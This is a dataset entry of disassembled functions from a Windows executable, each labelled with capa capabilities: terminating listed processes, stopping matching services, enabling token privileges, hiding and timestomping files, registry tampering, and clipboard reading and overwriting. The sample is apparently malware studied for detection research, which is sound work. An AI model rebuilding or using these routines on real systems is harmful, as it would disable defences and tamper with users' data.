joyce8/EMBER2024-capa huggingface dataset:
Function at 0x406f48
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
push edi
xor eax, eax
push ebp
push 0x407053
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.00406d80
mov eax, dword [0x41f284]
call fcn.00404744
dec eax
test eax, eax
jl 0x407030
inc eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], 0
lea eax, [ebp - 8]
mov edx, dword [0x41f284]
mov ecx, dword [ebp - 4]
mov edx, dword [edx + ecx*4]
call fcn.00403ea8
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x40706c
call fcn.004042a0
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00404218
xor eax, eax
push ebp
push 0x40701a
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x14]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x40706c
call fcn.004042a0
mov edx, eax
inc edx
mov ecx, 0x3e8
mov eax, dword [ebp - 8]
call fcn.00404218
mov eax, dword [ebp - 0x14]
call fcn.00406164
mov ebx, eax
push ebx
push 0
push 1
call sub.KERNEL32.DLL_OpenProcess
mov dword [0x41f244], eax
push 0
mov eax, dword [0x41f244]
push eax
call sub.KERNEL32.DLL_TerminateProcess
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x407024
inc dword [ebp - 4]
dec dword [ebp - 0x10]
jne 0x406f86
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40705a
lea eax, [ebp - 0x14]
call fcn.00403e10
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.00403e34
ret

Function at 0x4072f8
Capabilities:
Get token privileges

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeec
push ebx
push esi
push edi
lea eax, [ebp - 4]
push eax
push 0x28
call sub.KERNEL32.DLL_GetCurrentProcess
push eax
call sub.advapi32.dll_OpenProcessToken
test eax, eax
je 0x4073db
xor eax, eax
push ebp
push 0x4073d4
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 3
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_GetTokenInformation
cmp dword [ebp - 8], 0
je 0x4073bd
mov eax, dword [ebp - 8]
call fcn.00407210
mov ebx, eax
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 8]
push eax
push ebx
push 3
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_GetTokenInformation
test eax, eax
je 0x4073b6
mov edi, dword [ebx]
dec edi
test edi, edi
jl 0x4073a2
inc edi
xor esi, esi
mov dword [ebp - 0xc], 0x104
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x111]
push eax
lea eax, [esi + esi*2]
lea eax, [ebx + eax*4 + 4]
push eax
push 0
call sub.advapi32.dll_LookupPrivilegeNameA
lea eax, [esi + esi*2]
or dword [ebx + eax*4 + 0xc], 2
inc esi
dec edi
jne 0x407375
push 0
push 0
mov eax, dword [ebp - 8]
push eax
push ebx
push 0
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_AdjustTokenPrivileges
mov eax, ebx
call fcn.00402568
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4073db
mov eax, dword [ebp - 4]
push eax
call sub.KERNEL32.DLL_CloseHandle
ret
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4075bc
Capabilities:
Terminate process

Disassembly:
push 0x41f360
push eax
call sub.user32.dll_GetWindowThreadProcessId
mov eax, dword [0x41f360]
push eax
push 0
push 1
call sub.KERNEL32.DLL_OpenProcess
mov dword [0x41f244], eax
push 0
mov eax, dword [0x41f244]
push eax
call sub.KERNEL32.DLL_TerminateProcess
ret

Function at 0x4075ec
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
mov ebx, 0x41eb10
xor eax, eax
push ebp
push 0x407778
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x64
call sub.KERNEL32.DLL_Sleep
push pe_nt_image_headers32
lea edx, [ebp - 4]
xor eax, eax
call fcn.00402808
mov eax, dword [ebp - 4]
call fcn.004041b8
push eax
call sub.KERNEL32.DLL_SetFileAttributesA
lea eax, [ebp - 8]
mov ecx, 0x40778c
mov edx, dword [0x41f1dc]
call fcn.00404004
mov edx, dword [ebp - 8]
mov eax, ebx
call fcn.00402b94
mov eax, ebx
call fcn.00402924
call fcn.0040263c
mov edx, 0x40779c
mov eax, ebx
call fcn.0040434c
call fcn.00403240
call fcn.0040263c
push 0x4077a8
lea edx, [ebp - 0x10]
xor eax, eax
call fcn.00402808
push dword [ebp - 0x10]
push 0x4077b8
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00404078
mov edx, dword [ebp - 0xc]
mov eax, ebx
call fcn.0040434c
call fcn.00403240
call fcn.0040263c
push 0x4077c4
lea edx, [ebp - 0x18]
xor eax, eax
call fcn.00402808
push dword [ebp - 0x18]
push 0x4077d8
lea eax, [ebp - 0x14]
mov edx, 3
call fcn.00404078
mov edx, dword [ebp - 0x14]
mov eax, ebx
call fcn.0040434c
call fcn.00403240
call fcn.0040263c
mov edx, 0x4077ec
mov eax, ebx
call fcn.0040434c
call fcn.00403240
call fcn.0040263c
mov eax, ebx
call fcn.00402d2c
call fcn.0040263c
mov eax, dword [0x41f1a0]
mov edx, 0x4077fc
call fcn.00404104
jne 0x407722
xor ecx, ecx
xor edx, edx
mov eax, dword [0x41f204]
call fcn.00405dd0
jmp 0x407739
cmp dword [0x41f1a0], 0
je 0x407739
xor ecx, ecx
xor edx, edx
mov eax, dword [0x41f1a0]
call fcn.00405dd0
lea eax, [ebp - 0x1c]
mov ecx, 0x40778c
mov edx, dword [0x41f1dc]
call fcn.00404004
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
xor edx, edx
call fcn.00405dd0
call fcn.00403ca4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40777f
lea eax, [ebp - 0x1c]
mov edx, 7
call fcn.00403e34
ret
Function at 0x407800
Capabilities:
Suspend thread

Disassembly:
push ebx
mov ebx, 0x41f338
mov eax, dword [0x41fbb0]
push eax
call sub.KERNEL32.DLL_SuspendThread
mov eax, dword [0x41fbb8]
push eax
call sub.KERNEL32.DLL_SuspendThread
mov eax, dword [0x41fbb4]
push eax
call sub.KERNEL32.DLL_SuspendThread
mov eax, dword [0x41fbac]
push eax
call sub.KERNEL32.DLL_SuspendThread
mov eax, dword [0x41fba8]
push eax
call sub.KERNEL32.DLL_SuspendThread
mov eax, dword [0x41f234]
push eax
call sub.KERNEL32.DLL_CloseHandle
mov eax, dword [0x41f238]
push eax
call sub.KERNEL32.DLL_CloseHandle
mov eax, dword [ebx + 0x14]
call fcn.004079d4
mov eax, dword [ebx + 8]
call fcn.004079d4
mov eax, dword [0x41f1a4]
call fcn.004079d4
push 0x7d0
call sub.KERNEL32.DLL_Sleep
xor eax, eax
mov al, byte [0x41f35c]
mov ecx, dword [ebx + 0x1c]
mov edx, dword [ebx + 0x18]
call fcn.004080c4
xor eax, eax
mov al, byte [0x41f35d]
mov ecx, dword [ebx + 0x10]
mov edx, dword [ebx + 0xc]
call fcn.004080c4
xor eax, eax
mov al, byte [0x41f35d]
mov ecx, dword [ebx + 4]
mov edx, dword [ebx]
call fcn.004080c4
call fcn.004075ec
pop ebx
ret

Function at 0x4078b4
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004041a8
xor eax, eax
push ebp
push 0x407947
push dword fs:[eax]
mov dword fs:[eax], esp
push pe_nt_image_headers32
mov eax, dword [ebp - 4]
call fcn.004041b8
mov ebx, eax
push ebx
call sub.KERNEL32.DLL_SetFileAttributesA
push 0
push pe_nt_image_headers32
push 3
push 0
push 1
push 0x40000000
push ebx
call sub.KERNEL32.DLL_CreateFileA
mov dword [0x41f230], eax
push 0x41f258
push 0x41f248
push 0x41f250
mov eax, dword [0x41f230]
push eax
call sub.KERNEL32.DLL_SetFileTime
mov eax, dword [0x41f230]
push eax
call sub.KERNEL32.DLL_CloseHandle
push 4
push ebx
call sub.KERNEL32.DLL_SetFileAttributesA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40794e
lea eax, [ebp - 4]
call fcn.00403e10
ret

Function at 0x407954
Capabilities:
Copy file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004041a8
mov eax, dword [ebp - 8]
call fcn.004041a8
xor eax, eax
push ebp
push 0x4079c8
push dword fs:[eax]
mov dword fs:[eax], esp
push pe_nt_image_headers32
mov eax, dword [ebp - 8]
call fcn.004041b8
mov ebx, eax
push ebx
call sub.KERNEL32.DLL_SetFileAttributesA
push 0
push ebx
mov eax, dword [ebp - 4]
call fcn.004041b8
push eax
call sub.KERNEL32.DLL_CopyFileA
mov eax, dword [ebp - 8]
call fcn.004078b4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4079cf
lea eax, [ebp - 8]
mov edx, 2
call fcn.00403e34
ret
Function at 0x4079d4
Capabilities:
Delete file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004041a8
xor eax, eax
push ebp
push 0x407a2b
push dword fs:[eax]
mov dword fs:[eax], esp
push pe_nt_image_headers32
mov eax, dword [ebp - 4]
call fcn.004041b8
mov ebx, eax
push ebx
call sub.KERNEL32.DLL_SetFileAttributesA
push ebx
call sub.KERNEL32.DLL_DeleteFileA
cmp eax, 1
sbb eax, eax
inc eax
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407a32
lea eax, [ebp - 4]
call fcn.00403e10
ret
Function at 0x407b6c
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe10
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 0x1f0], ecx
mov dword [ebp - 0x1e8], ecx
mov dword [ebp - 0x1ec], ecx
mov dword [ebp - 0x1e4], ecx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 4], edx
mov ebx, eax
mov eax, dword [ebp - 4]
call fcn.004041a8
mov esi, 0x41f31c
xor eax, eax
push ebp
push 0x407dfc
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.004041b8
mov edx, eax
mov eax, ebx
call fcn.00407b50
lea eax, [ebp - 0x14]
mov ecx, 0x105
xor edx, edx
call fcn.00403f00
xor ebx, ebx
lea eax, [ebp - 0x10]
call fcn.00403e10
lea eax, [ebp - 0xc]
call fcn.00403e10
mov dword [ebp - 8], 0x105
cmp dword [esi], 0
jbe 0x407c4a
jmp 0x407c2c
push dword [ebp - 0xc]
mov eax, dword [ebp - 0x14]
call fcn.004041b8
mov edx, eax
lea eax, [ebp - 0x1e4]
call fcn.00403f40
push dword [ebp - 0x1e4]
push dword [0x41f1f8]
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00404078
inc ebx
push 0x105
mov eax, dword [ebp - 0x14]
call fcn.004041b8
push eax
push ebx
mov eax, dword [esi]
push eax
call sub.advapi32.dll_RegEnumKeyA
cmp eax, 0x103
jne 0x407bfa
xor ebx, ebx
mov dword [ebp - 8], 0x105
cmp byte [0x41f26d], 0
je 0x407c6e
lea eax, [ebp - 0xc]
mov edx, 0x407e14
call fcn.00403fc0
jmp 0x407dc9
cmp dword [esi], 0
jbe 0x407d33
jmp 0x407d0a
mov dword [0x41f368], 0x801
push 0x41f368
push 0x41f370
push 0x41f364
push 0
mov eax, dword [ebp - 0x14]
call fcn.004041b8
push eax
mov eax, dword [esi]
push eax
call sub.advapi32.dll_RegQueryValueExA
inc ebx
mov dword [ebp - 8], 0x105
cmp dword [0x41f364], 1
jne 0x407d0a
push dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
call fcn.004041b8
mov edx, eax
lea eax, [ebp - 0x1e8]
call fcn.00403f40
push dword [ebp - 0x1e8]
push 0x407e20
lea eax, [ebp - 0x1ec]
mov edx, 0x41f370
mov ecx, 0x801
call fcn.00403f7c
push dword [ebp - 0x1ec]
push dword [0x41f1f8]
lea eax, [ebp - 0x10]
mov edx, 5
call fcn.00404078
push 0
push 0
push 0
push 0
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 0x14]
call fcn.004041b8
push eax
push ebx
mov eax, dword [esi]
push eax
call sub.advapi32.dll_RegEnumValueA
cmp eax, 0x103
jne 0x407c7c
mov eax, dword [esi]
push eax
call sub.advapi32.dll_RegCloseKey
push dword [ebp - 0xc]
push 0x407e14
push dword [0x41f1f8]
lea eax, [ebp - 0x1f0]
push eax
mov edx, dword [ebp - 0x10]
mov eax, 0x407e2c
call fcn.00407070
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0x10]
call fcn.00404218
push dword [ebp - 0x1f0]
lea eax, [ebp - 0x14]
mov edx, 4
call fcn.00404078
mov edx, dword [0x41f1c8]
lea eax, [ebp - 0x1e0]
call fcn.00402b94
lea eax, [ebp - 0x1e0]
call fcn.00402924
call fcn.0040263c
mov edx, dword [ebp - 0x14]
lea eax, [ebp - 0x1e0]
call fcn.0040434c
call fcn.00403240
call fcn.0040263c
lea eax, [ebp - 0x1e0]
call fcn.00402d2c
call fcn.0040263c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407e03
lea eax, [ebp - 0x1f0]
mov edx, 4
call fcn.00403e34
lea eax, [ebp - 0x14]
mov edx, 3
call fcn.00403e34
lea eax, [ebp - 4]
call fcn.00403e10
ret
Function at 0x407e30
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov ebx, eax
mov eax, dword [ebp - 4]
call fcn.004041a8
mov eax, dword [ebp - 8]
call fcn.004041a8
mov eax, dword [ebp + 8]
call fcn.004041a8
xor eax, eax
push ebp
push 0x407efe
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.004041b8
mov esi, eax
mov edx, esi
lea eax, [ebp - 0xc]
call fcn.00403f40
mov edx, dword [ebp - 0xc]
mov eax, ebx
call fcn.0040804c
mov edx, esi
mov eax, ebx
call fcn.00407b50
mov eax, dword [ebp + 8]
call fcn.00403fb8
inc eax
push eax
lea eax, [ebp - 0x10]
mov ecx, 0x407f18
mov edx, dword [ebp + 8]
call fcn.00404004
mov eax, dword [ebp - 0x10]
call fcn.004041b8
push eax
push 1
push 0
mov eax, dword [ebp - 8]
call fcn.004041b8
push eax
mov eax, dword [0x41f31c]
push eax
call sub.advapi32.dll_RegSetValueExA
mov eax, dword [0x41f31c]
push eax
call sub.advapi32.dll_RegCloseKey
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407f05
lea eax, [ebp - 0x10]
mov edx, 4
call fcn.00403e34
lea eax, [ebp + 8]
call fcn.00403e10
ret

Function at 0x407f1c
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
add ebx, 0x80000000
push 0
lea eax, [ebp - 4]
push eax
push 0
push 0x20006
push 0
push 0
push 0
mov eax, esi
call fcn.004041b8
push eax
push ebx
call sub.advapi32.dll_RegCreateKeyExA
mov eax, dword [ebp + 8]
push eax
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [ebp + 0x10]
push eax
push 0
push edi
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegSetValueExA
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret 0xc

Function at 0x407f7c
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov ebx, eax
mov eax, dword [ebp - 4]
call fcn.004041a8
mov eax, dword [ebp - 8]
call fcn.004041a8
xor eax, eax
push ebp
push 0x40803c
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.004041b8
mov edx, eax
mov eax, ebx
call fcn.00407b50
mov dword [0x41f364], 1
mov eax, 0x41f370
xor ecx, ecx
mov edx, 0x801
call fcn.00402e0c
mov dword [0x41f368], 0x801
push 0x41f368
push 0x41f370
push 0x41f364
push 0
mov eax, dword [ebp - 8]
call fcn.004041b8
push eax
mov eax, dword [0x41f31c]
push eax
call sub.advapi32.dll_RegQueryValueExA
mov eax, dword [0x41f31c]
push eax
call sub.advapi32.dll_RegCloseKey
mov eax, dword [ebp + 8]
mov edx, 0x41f370
mov ecx, 0x801
call fcn.00403f7c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x408043
lea eax, [ebp - 8]
mov edx, 2
call fcn.00403e34
ret
Function at 0x4080c4
Capabilities:
Delete registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov ebx, eax
mov eax, dword [ebp - 4]
call fcn.004041a8
mov eax, dword [ebp - 8]
call fcn.004041a8
xor eax, eax
push ebp
push 0x40813c
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.004041b8
mov edx, eax
mov eax, ebx
call fcn.00407b50
mov eax, dword [ebp - 8]
call fcn.004041b8
push eax
mov eax, dword [0x41f31c]
push eax
call sub.advapi32.dll_RegDeleteValueA
mov eax, dword [0x41f31c]
push eax
call sub.advapi32.dll_RegCloseKey
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x408143
lea eax, [ebp - 8]
mov edx, 2
call fcn.00403e34
ret

Function at 0x4081b8
Capabilities:
Get hostname
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdd8
xor eax, eax
mov dword [ebp - 0x228], eax
xor eax, eax
push ebp
push 0x408291
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x224]
push eax
mov dl, 1
mov al, 1
call fcn.004055f8
push eax
call sub.wsock32.dll_WSAStartup
push pe_nt_image_headers32
lea eax, [ebp - 0x91]
push eax
call sub.wsock32.dll_gethostname
lea eax, [ebp - 0x91]
push eax
call sub.wsock32.dll_gethostbyname
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0xc], eax
push dword [ebp - 0xc]
call sub.wsock32.dll_inet_ntoa
mov edx, eax
mov eax, 0x41f328
call fcn.00403f40
call sub.wsock32.dll_WSACleanup
mov eax, 0x41f320
mov edx, dword [0x41f328]
call fcn.00403e64
mov eax, 0x41f330
mov edx, dword [0x41f328]
call fcn.00403e64
lea eax, [ebp - 0x228]
push eax
mov ecx, 0x4082a4
mov edx, 0x4082b0
mov eax, dword [0x41f320]
call fcn.00406060
mov edx, dword [ebp - 0x228]
mov eax, 0x41f320
call fcn.00403e64
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x408298
lea eax, [ebp - 0x228]
call fcn.00403e10
ret

Function at 0x4082e4
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
xor eax, eax
push ebp
push 0x40834d
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x41f23c]
push eax
call sub.user32.dll_OpenClipboard
push 1
call sub.user32.dll_GetClipboardData
mov ebx, eax
push ebx
call sub.KERNEL32.DLL_GlobalLock
mov esi, eax
lea eax, [ebp - 4]
mov edx, esi
call fcn.00403f40
mov edx, dword [ebp - 4]
mov eax, 0x41f1b0
call fcn.00403fc0
push ebx
call sub.KERNEL32.DLL_GlobalUnlock
call sub.user32.dll_CloseClipboard
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x408354
lea eax, [ebp - 4]
call fcn.00403e10
ret
Function at 0x40835c
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 0xc], ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x4083f8
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0xc]
mov edx, ebx
call fcn.00403f40
mov eax, dword [ebp - 0xc]
call fcn.00403fb8
inc eax
cdq
mov dword [ebp - 8], eax
mov dword [ebp - 4], edx
mov eax, dword [ebp - 8]
push eax
push 0x2002
call sub.KERNEL32.DLL_GlobalAlloc
mov dword [0x41f244], eax
mov eax, dword [0x41f244]
push eax
call sub.KERNEL32.DLL_GlobalLock
mov edx, ebx
call fcn.00407a38
mov eax, dword [0x41f244]
push eax
call sub.KERNEL32.DLL_GlobalUnlock
push esi
call sub.user32.dll_OpenClipboard
call sub.user32.dll_EmptyClipboard
mov eax, dword [0x41f244]
push eax
push 1
call sub.user32.dll_SetClipboardData
call sub.user32.dll_CloseClipboard
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4083ff
lea eax, [ebp - 0xc]
call fcn.00403e10
ret

Function at 0x408408
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
push ebx
push esi
push edi
xor eax, eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], eax
xor eax, eax
push ebp
push 0x408597
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.00406d80
mov eax, dword [0x41e6f4]
call fcn.00404744
dec eax
test eax, eax
jl 0x408562
inc eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], 0
mov eax, dword [0x41f284]
call fcn.00404744
dec eax
test eax, eax
jl 0x408556
inc eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], 0
mov eax, 0x41f1b4
mov edx, dword [0x41f284]
mov ecx, dword [ebp - 4]
mov edx, dword [edx + ecx*4]
call fcn.00403e64
push 0x41f1b8
mov edx, dword [0x41f1b4]
mov eax, 0x4085b0
call fcn.004042a0
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [0x41f1b4]
call fcn.00404218
lea edx, [ebp - 0x14]
mov eax, dword [0x41f1b8]
call fcn.00407100
mov eax, dword [ebp - 0x14]
push eax
mov eax, dword [0x41e6f4]
mov edx, dword [ebp - 8]
mov edx, dword [eax + edx*4]
lea eax, [ebp - 0x18]
mov ecx, 0x4085bc
call fcn.00404004
mov edx, dword [ebp - 0x18]
pop eax
call fcn.00404104
jne 0x40854a
xor eax, eax
push ebp
push 0x408540
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x1c]
push eax
mov edx, dword [0x41f1b4]
mov eax, 0x4085b0
call fcn.004042a0
mov edx, eax
inc edx
mov ecx, 0x3e8
mov eax, dword [0x41f1b4]
call fcn.00404218
mov eax, dword [ebp - 0x1c]
call fcn.00406164
mov ebx, eax
push ebx
push 0
push 1
call sub.KERNEL32.DLL_OpenProcess
mov dword [0x41f244], eax
push 0
mov eax, dword [0x41f244]
push eax
call sub.KERNEL32.DLL_TerminateProcess
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x40854a
inc dword [ebp - 4]
dec dword [ebp - 0x10]
jne 0x40846b
inc dword [ebp - 8]
dec dword [ebp - 0xc]
jne 0x40844d
push 0
mov eax, 0x41f284
mov ecx, 1
mov edx, dword [0x405cc8]
call fcn.004048f8
add esp, 4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40859e
lea eax, [ebp - 0x1c]
mov edx, 3
call fcn.00403e34
ret
Function at 0x4085d8
Capabilities:
Enumerate services
Stop service

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffb8
push ebx
push esi
push edi
xor eax, eax
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x1c], eax
xor eax, eax
push ebp
push 0x4087d9
push dword fs:[eax]
mov dword fs:[eax], esp
push 0xf003f
push 0
push 0
call sub.advapi32.dll_OpenSCManagerA
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x4087b6
xor eax, eax
mov dword [ebp - 0x14], eax
xor eax, eax
mov dword [ebp - 8], eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
push 0
mov eax, dword [ebp - 8]
push eax
push 1
push 0x30
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_EnumServicesStatusA
mov eax, dword [ebp - 0xc]
call fcn.00402548
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x4087af
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
push eax
push 1
push 0x30
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_EnumServicesStatusA
cmp eax, 1
sbb eax, eax
inc eax
cmp al, 1
jne 0x408794
mov eax, dword [0x41e6f4]
call fcn.00404744
dec eax
test eax, eax
jl 0x408794
inc eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x18], 0
mov edi, dword [ebp - 0x10]
dec edi
test edi, edi
jl 0x408788
inc edi
xor esi, esi
lea eax, [ebp - 0x1c]
lea edx, [esi + esi*8]
mov ecx, dword [ebp - 8]
mov edx, dword [ecx + edx*4]
call fcn.00403f40
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x44]
mov ecx, dword [ebp - 0x1c]
mov edx, 0x4087f0
call fcn.00404004
mov edx, dword [ebp - 0x44]
mov ecx, 0x40881c
mov eax, 2
call fcn.00407f7c
mov edx, dword [ebp - 0x40]
lea eax, [ebp - 0x1c]
call fcn.00403ea8
mov edx, dword [ebp - 0x1c]
mov eax, 0x408830
call fcn.00407070
mov ebx, eax
lea edx, [ebp - 0x48]
mov eax, dword [ebp - 0x1c]
call fcn.00407100
mov edx, dword [ebp - 0x48]
lea eax, [ebp - 0x1c]
call fcn.00403ea8
lea eax, [ebp - 0x1c]
push eax
mov edx, dword [ebp - 0x1c]
mov eax, 0x40883c
call fcn.004042a0
mov ecx, eax
sub ecx, ebx
dec ecx
lea edx, [ebx + 1]
mov eax, dword [ebp - 0x1c]
call fcn.00404218
mov eax, dword [ebp - 0x1c]
mov edx, dword [0x41e6f4]
mov ecx, dword [ebp - 0x18]
mov edx, dword [edx + ecx*4]
call fcn.00404104
jne 0x408780
push 0xf01ff
lea eax, [esi + esi*8]
mov edx, dword [ebp - 8]
mov eax, dword [edx + eax*4]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_OpenServiceA
mov ebx, eax
lea eax, [ebp - 0x3c]
push eax
push 1
push ebx
call sub.advapi32.dll_ControlService
push ebx
call sub.advapi32.dll_CloseServiceHandle
inc esi
dec edi
jne 0x4086b6
inc dword [ebp - 0x18]
dec dword [ebp - 0x20]
jne 0x4086a7
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4087b6
mov edx, 0x24
mov eax, dword [ebp - 8]
call fcn.00402568
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4087e0
lea eax, [ebp - 0x48]
mov edx, 3
call fcn.00403e34
lea eax, [ebp - 0x1c]
call fcn.00403e10
ret
Function at 0x40f638
Capabilities:
Hash data with crc32

Disassembly:
push ebx
push esi
xor esi, esi
mov ecx, 0x41fbd4
mov eax, esi
mov edx, 8
mov ebx, eax
and ebx, 1
test bl, bl
je 0x40f65a
shr eax, 1
xor eax, 0xedb88320
jmp 0x40f65c
shr eax, 1
dec edx
jne 0x40f648
mov dword [ecx], eax
inc esi
add ecx, 4
cmp esi, 0x100
jne 0x40f641
mov byte [0x41ffd4], 1
pop esi
pop ebx
ret

Function at 0x40f678
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
cmp byte [0x41ffd4], 0
jne 0x40f68f
call fcn.0040f638
mov eax, edi
dec eax
test eax, eax
jl 0x40f6b8
inc eax
xor edx, edx
xor ecx, ecx
mov cl, byte [esi + edx]
xor ecx, ebx
and ecx, 0xff
mov ecx, dword [ecx*4 + 0x41fbd4]
shr ebx, 8
xor ecx, ebx
mov ebx, ecx
inc edx
dec eax
jne 0x40f699
mov eax, ebx
pop edi
pop esi
pop ebx
ret